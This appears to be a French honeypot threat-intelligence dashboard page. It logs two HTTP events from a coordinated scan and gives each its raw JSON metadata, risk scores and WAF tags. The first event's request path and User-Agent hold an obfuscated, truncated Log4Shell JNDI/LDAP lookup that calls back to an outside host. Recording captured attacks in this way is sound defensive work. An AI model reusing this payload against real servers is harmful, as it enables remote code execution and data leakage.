GET /${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-/}${5v0x:ora7:-/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${
User-Agent
${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-/}${nmoa:5n43:-/}${r1d:j:0:-U}${lc:ym7:-A}${j4:km2y:8uha:-l}${hp:jt:-0}${fg06:ik:-…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3
Requête brute (extrait)
GET /${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-/}${5v0x:ora7:-/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${htce:-g}${6:ua8:fz:-o}${n:4g5x:-o}${be5t:q:g0c:-g}}",
"http_ua_hash": "9739c784e756e70af78b38fd3dc67b6071f32c92",
"http_host_hash": "06b11278b3d8c06d12bf6f74085c2806fc07bb05",
"http_target_hash": "af352a844cd707091a3679f0af7c6d76cdc24ccf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.777338743693272,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8089,
"risk_waf": 100,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.7,
"risk_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 67,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "d77af361e5bdaea8891df50b5c83b0284d3e2699",
"event_fingerprint": "de5c62ef9f4b99d72fe86349754e68cc14f7b278",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 16
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "c1693486008fea42ea2ee9557b324f07",
"payload_hash": "925e6e010dd87faacaeffc999e4b60d1",
"path_pattern_hash": "5e4e8aa9ec8b69c5b9376c46a74e14df"
},
"target_context": {
"dst_port": 8089,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"method": "GET",
"path": "\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${ps:l",
"user_agent": "${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}${nmoa:5n43:-\/}${r1d:j:0:-U}${lc:ym7:-A}${j4:km2y:8uha:-l}${hp:jt:-0}${fg06:ik:-c}${sgz:--}${${2z:gu:p:-s}${nbgl:sf:2u:-y}${lc2m:-s}${d:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${",
"payload_snippet": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3",
"evidence": {
"method": "GET",
"path": "\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${ps:l",
"user_agent": "${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}${nmoa:5n43:-\/}${r1d:j:0:-U}${lc:ym7:-A}${j4:km2y:8uha:-l}${hp:jt:-0}${fg06:ik:-c}${sgz:--}${${2z:gu:p:-s}${nbgl:sf:2u:-y}${lc2m:-s}${d:\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp:w06:-:}${j:we0:-j}${ej:f4i:-a}${l:gz:-v}${f492:gx6r:f:-a}${euk:tvr3:-.}${7c:-v}${orz:j7b:-e}${irzn:y:0dg5:-r}${fxvo:kd:-s}${y8h:ah:51v:-i}${l:z:-o}${v:n9wc:wv6:-n}}${6:lbcy:me:-.}${o25:-5}${n:x8q:-5}${nq:-7}${8szg:pk:-4}${hl2:-3}${w8:p:a:-3}${js3a:4:-d}${",
"request_sample": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${o:-c}${s:yg1m:--}${${by:-s}${9:eroh:-y}${a:uz6:-s}${f:7hp",
"payload_snippet": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "102de88ec37962a70835ed9dc53be74d09c45930",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:\u2026",
"request_line": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${\u2026",
"http_user_agent": "${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3",
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d\u2026",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 16
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8089,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +16",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:\u2026",
"request_line": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3:-:}${1:-\/}${5v0x:ora7:-\/}${10:ruf:ej:-P}${16:05p:-A}${bk:-l}${vf:-0}${\u2026",
"http_user_agent": "${${njc5:-j}${d:-n}${n:v6:-d}${l:d:-i}${6:hql:-:}${d:7d4:-l}${g:cy:-d}${eo1w:-a}${b:-p}${jki:lux:zbs:-:}${0:3lod:ok:-\/}\u2026",
"port": 8089,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d\u2026",
"evidence_snippet": "GET \/${${t5:j:tdr:-j}${zog5:t:8:-n}${zdhq:3pj9:w:-d}${mf:-i}${f4b:-:}${0:-l}${sw8:nric:c:-d}${vx:ue6:-a}${fwd:-p}${wm7x:m8d:8li3",
"target_port_label": "8089 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +16 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8089"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 5,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089
],
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan"
],
"correlation_confidence_boost": 16,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:22 UTC
TCP
8090 · HTTP
Scan de ports
port scan syn · via HTTP:8090 · (reconnaissance)
Élevée
Moyen · 57
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Scan coordonné
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8090
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +16
Risque capteur
Moyen
· 57
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8090
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8090 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "112b403ea5b0e3a7d0d331ab96d728785c3ab96b",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.352983936157643,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8090,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 57,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "b89b42a8b5296f1960625adb69328f8a97288553",
"event_fingerprint": "23cc214f3320bd3cf21c7c992c60f2e82b1b2b5f",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 16
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "c90d20441e991d7ab5fb271e72565edf",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8090,
"service": "http",
"service_name": "http",
"risk_score": 57
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0a2a5af358478a873f3eda7e0af3242b9dd78684",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port scan syn \u00b7 via HTTP:8090 \u00b7 (reconnaissance)",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne multi-ports",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 16
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 57,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8090,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +16",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8090 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +16 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8090"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 6,
"port_scan_ports_sample": [
7005,
8083,
8084,
8087,
8089,
8090
],
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan"
],
"correlation_confidence_boost": 16,
"attack_chain_stage": "reconnaissance",
